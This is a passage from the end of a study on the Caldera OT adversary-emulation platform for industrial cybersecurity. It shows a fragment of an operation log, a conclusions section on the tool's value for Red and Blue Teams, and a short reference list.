3/15/2024, 12:38:20 PM GMT+1	\ominus	Find files	xuvqoj	5099	View Command	No output.
						Manual Command Potential Link

Illustration 32: Operation.

When you finish doing the test, the platform displays the information obtained from the server, which can be used to improve the problems discovered.

TLP:CLEAR

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Recuperación, Transformació

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9. Conclusions

Throughout this study, it has been possible to observe the importance that cybersecurity is acquiring in the industrial world. The implementation of Industry 4.0, characterized by the real-time interconnection between devices, brings many benefits, but also several problems such as the devices being **more exposed to the outside world**.

For this reason, experts in industrial cybersecurity are researching and studying the needs to improve cybersecurity in this sector. One current and attractive projects are the creation and updating of the **Caldera OT** program. This program, as observed in the study, is a simulator that allows different types of cyberattacks to be carried out, allowing both *Red Team* and *Blue Team* teams to make improvements in the real cybersecurity of industrial plants.

For this reason, this study aims to help the reader learn about the benefits and activities that this tool can provide, to be able to use it, and even to make improvements or contributions in this one, which will, improve the industrial cybersecurity community.












10. References

Reference	Title, author, date and web link	
[Ref 1]	Caldera Platform Documentation URL: Installing MITRE Caldera — caldera documentation	







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